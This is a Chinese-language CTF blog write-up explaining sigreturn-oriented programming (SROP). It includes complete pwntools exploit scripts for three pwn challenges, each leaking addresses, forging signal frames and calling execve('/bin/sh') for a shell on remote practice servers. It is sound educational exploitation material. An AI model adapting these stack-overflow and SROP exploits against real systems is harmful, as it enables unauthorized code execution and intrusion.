0%

SROP总结

相关知识

原理

ROP(Return Oriented Programming)是利用程序中的一系列ret指令来构造恶意代码执行链。而SROP即利用sigreturn函数完成以上内容。

这里放一张我看其他师傅博客上的一张图,完成一次系统调用的过程如下:

image-20240122163354902

①:用户态进程接收到信号signal,该进程被挂起,进入内核态。

②:内核保存用户态进程的上下文,然后跳转到用户态的信号signal对应的信号处理程序,回到用户态。在这一阶段里,内核会构造一个位于用户栈上的Signal Frame用于存放该进程的上下文,然后再push返回地址rt_sigreturn

③:用户态的信号处理程序执行完毕,pop返回地址rt_sigreturn,进程进入内核态,执行sigreturn系统调用。内核根据之前栈上的Signal Frame完成用户态进程上下文的恢复。

④:返回用户态,进程按照恢复的上下文继续执行。

SROP作用于第3阶段,也就是内核根据Signal Frame的内容恢复进程上下文的过程。

Signal Frame(类似下面这张图)是一个已知的数据结构,而且其存在于用户态的栈上。内核在恢复上下文时并不能确保其内容没有被修改过。因此,如果我们能够在栈上构造sigreturn系统调用与新的Signal Frame结构体的话,就能够实现攻击的效果。

image-20240122203103809

sigreturn函数用于从信号处理程序中恢复到原始的系统调用状态,调用号为0xf,通过syscall指令直接调用。在x86-64架构的Linux系统中,syscall指令的调用号存储在寄存器rax中。

srop的做题条件

  • 一定要能调用sigreturn,也就是说程序中要有syscall的指令并知道其地址,还需要让rax寄存器值为0xf
  • 必须要能知道/bin/sh在程序中的地址。

例题

ciscn_2019_es_7

思路

​ 系统调用了sys_readsys_write,并且可以溢出0x400-0x10个字节

image-20240122163539371

​ 我们看到mov rax,0fh;retngadget0fhsigreturn函数的调用号,可以用SROP

image-20240122152721309

​ 程序中没有/bin/sh,我们可以在sys_read(0,buf,0x400ull)这一过程中先把/bin/sh写到buf中,然后sys_write(1u,buf,0x30ull)这一过程会把buf及后面的内容共0x30个字节打印出来,这样我们就可以泄漏一个栈地址,然后计算其与/bin/sh的地址的偏移,表示出/bin/sh的地址。

vuln_addr = 0x4004ed
payload = b'/bin/sh\x00'.ljust(16,b'\x00')+p64(vuln_addr)
p.sendline(payload)
p.recv(0x20)
one_addr = u64(p.recv(8))
print('one_addr -->',hex(one_addr))
binsh_addr = one_addr-0x148
#binsh_addr = one_addr-0x118
print('binsh_addr -->',hex(binsh_addr))

​ 得到/bin/sh的地址后,构造一个execvesignal frame,如下:

syscall_addr = 0x400517
frame = SigreturnFrame()
frame.rax = constants.SYS_execve #execve的系统调用号
frame.rdi = binsh_addr #第一个参数
frame.rsi = 0 #第二个参数
frame.rdx = 0 #第三个参数
frame.rip = syscall_addr #下面解释

​ 首先我们要知道,rip是一个指令指针的寄存器,也就是说rip寄存器中存放的是要执行的下一条指令的地址。而frame.rip中存放的是 当sigreturn系统调用返回后要执行的下一条指令的地址。这里的frame.rip = syscall_leave_ret就表示我们将要执行syscall指令,又因为我们已经设置了execvesignal frame,所以我们就控制了程序的执行流执行execve系统调用。

​ 构造第二个payload如下:

mov_rax_0fh = 0x4004da
payload = payload = b'/bin/sh\x00'.ljust(16,b'\x00')
payload += p64(mov_rax_0fh)+p64(syscall_addr) #sigreturn的调用号是0xf
payload += bytes(frame)
p.sendline(payload)

​ 一开始我把payload = payload = b'/bin/sh\x00'.ljust(16,b'\x00')写成payload = b'a'*16打不通。调试的时候发现,vuln函数是又被循环了一次,这个payload是会往buf中写覆盖原来的内容,也就是说我们上面泄漏的地址binsh_addr,中的内容会变成这次发送的前8个字节。所以我们构造的payload的前8个字节必须是/bin/sh\x00

exp

from pwn import *
#from tools import *
p = remote('node5.buuoj.cn',26868)
#p = process('./es7')
context.arch ='amd64'
#debug(p)

vuln_addr = 0x4004ed
payload = b'/bin/sh\x00'.ljust(16,b'\x00')+p64(vuln_addr)
p.sendline(payload)
p.recv(0x20)
one_addr = u64(p.recv(8))
print('one_addr -->',hex(one_addr))
#binsh_addr = one_addr-0x148
binsh_addr = one_addr-0x118
print('binsh_addr -->',hex(binsh_addr))
#0x148是本地的偏移量,远程的应该是0x118,本地与远程的libc不同

syscall_addr = 0x400517
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

mov_rax_0fh = 0x4004da
payload = payload = b'/bin/sh\x00'.ljust(16,b'\x00')
payload += p64(mov_rax_0fh)+p64(syscall_addr)
payload += bytes(frame)
p.sendline(payload)

p.interactive()

拿到flag

image-20240122171324394

rootersctf_2019_srop

思路

​ 我们分析代码,发现连main函数都没有,整个程序就是先call 0x401000,然后exit退出。

image-20240206133317497

​ 跳到地址为0x401000这里,分析汇编代码,2个系统调用,write(1,buf,0x2a),read(0,rsp-0x40,0x400)

image-20240206132903020

​ 程序中没有/bin/sh,所以我们要先往一个地址中写入/bin/sh。如果我们直接写入/bin/shsrop,我们不能知道/bin/sh的地址,所以可以先栈迁移到data段,data段的地址已知且不变,这样我们就拿到/bin/sh的地址了,设置read的一些寄存器值,如下:

buf_addr = 0x402000
syscall_leave_ret = 0x401033
frame = SigreturnFrame()
frame.rax = 0 #read的系统调用号
frame.rdi = 0 #标准输入
frame.rsi = buf_addr #写入的位置的起始地址
frame.rdx = 0x400 #可以写入的字节个数
frame.rip = syscall_leave_ret #syscall系统调用read
frame.rbp = buf_addr+0x20

不过这里frame.rbp = buf_addr+0x20的作用是什么?)

​ 然后我们可以构造第一个payload如下:

pop_rax_syscall_leave_ret = 0x401032
payload = b'a'*0x88+p64(pop_rax_syscall_leave_ret)+p64(0xf)+bytes(frame)
# srop to call read, set *data_addr = /bin/sh\x00
p.sendlineafter(b"Hey, can i get some feedback for the CTF?\n", payload)

​ 上面构造的signal frame再次syscall了一个read系统调用,下面我们就可以往buf_addr = 0x402000里写入/bin/sh,并再次构造一个signal frame系统调用execve

frame = SigreturnFrame()
frame.rax = 0x3b #execve的系统调用号
frame.rdi = buf_addr #/bin/sh的地址
frame.rsi = 0 #第二个参数
frame.rdx = 0 #第三个参数
frame.rip = syscall_leave_ret #
#frame.rbp = #没有rbp了

payload = b'/bin/sh\x00'+b'a'*0x20+p64(pop_rax_syscall_leave_ret)+p64(0xf)+bytes(frame)
p.sendline(payload)

exp

from pwn import *
#from tools import *
#p = process('./srop')
p = remote("node5.buuoj.cn",26592)
context.arch='amd64'
#debug(p)

buf_addr = 0x402000
syscall_leave_ret = 0x401033
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = buf_addr
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = buf_addr+0x20

pop_rax_syscall_leave_ret = 0x401032
payload = b'a'*0x88+p64(pop_rax_syscall_leave_ret)+p64(0xf)+bytes(frame)
p.sendlineafter(b"Hey, can i get some feedback for the CTF?\n", payload)

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = buf_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_leave_ret

payload = b'/bin/sh\x00'+b'a'*0x20+p64(pop_rax_syscall_leave_ret)+p64(0xf)+bytes(frame)
p.sendline(payload)

p.interactive()

拿到flag

image-20240206160012074

360chunqiu2017_smallest

思路

我们每次控制寄存器的时候,都把rsp写成下一个片段的rt_sigreturn的地址,并且rip的地址要指向syscall;ret 一定要后面有ret,不然所有的片段连不起来,到ret的时候,就会去执行rsp执行的地址,因此我们就可以一直劫持程序的控制流。

​ 程序很简单,只有下面一个函数,分析一下代码就是一个read系统调用,可以栈溢出并且能够溢出的字节数很长。

signed __int64 start()
{
void *retaddr; // [rsp+0h] [rbp+0h] BYREF

return sys_read(0, (char *)&retaddr, 0x400uLL);
}

image-20240207130130852

​ 这道题既然是用srop,那么必然是需要能够调用sigreturn,也就是需要把rax寄存器的值设置为0xf。我们发现并没有能够实现这个的相关的gadget,但是我们突然想到read返回值就是存储在rax寄存器中的,我们可以利用这个来设置rax寄存器的值。

syscall_ret_addr = 0x4000be
start_addr = 0x4000b0
payload = p64(start_addr)*3
#第一个start去让第一次正常运行的ret返回到start
#第二个start让\xB3输入进来,此时去改变了栈顶的start,此时它跳过了xor rax,rax,并
#且它的下面还有一个start
#最下面的start是让我们可以再输入frame,一直控制程序执行流
p.send(payload)
wait = input()
p.send(b'\xB3')
wait = input()
leak_addr = u64(p.recv()[8:16])
target_addr = leak_addr-0x2000#减去0x2000,把payload写到该地址

exp如下:

from pwn import *
#from tools import *
context.arch='amd64'
p = remote("node5.buuoj.cn",29210)
#p = process('./smallest')
#gdb.attach(p)

syscall_ret_addr = 0x4000be
start_addr = 0x4000b0
payload = p64(start_addr)*3
p.send(payload)
wait = input()
p.send(b'\xB3')
wait = input()
leak_addr = u64(p.recv()[8:16])
target_addr = leak_addr-0x2000

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = target_addr
frame.rdx = 0x400
frame.rip = syscall_ret_addr
frame.rsp = target_addr
payload = p64(start_addr)+b'aaaaaaaa'+bytes(frame)
p.send(payload)
wait = input()
payload = p64(syscall_ret_addr)+b'bbbbbbb'
p.send(payload)
wait = input()

binsh_addr = target_addr+0x110

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
payload = p64(start_addr)+b'aaaaaaaa'+bytes(frame).ljust(0x100,b'\x00')+b'/bin/sh'
p.send(payload)
wait = input()
payload = p64(syscall_ret_addr)+b'bbbbbbb'
p.send(payload)
wait = input()

p.interactive()

拿到flag

image-20240219151202950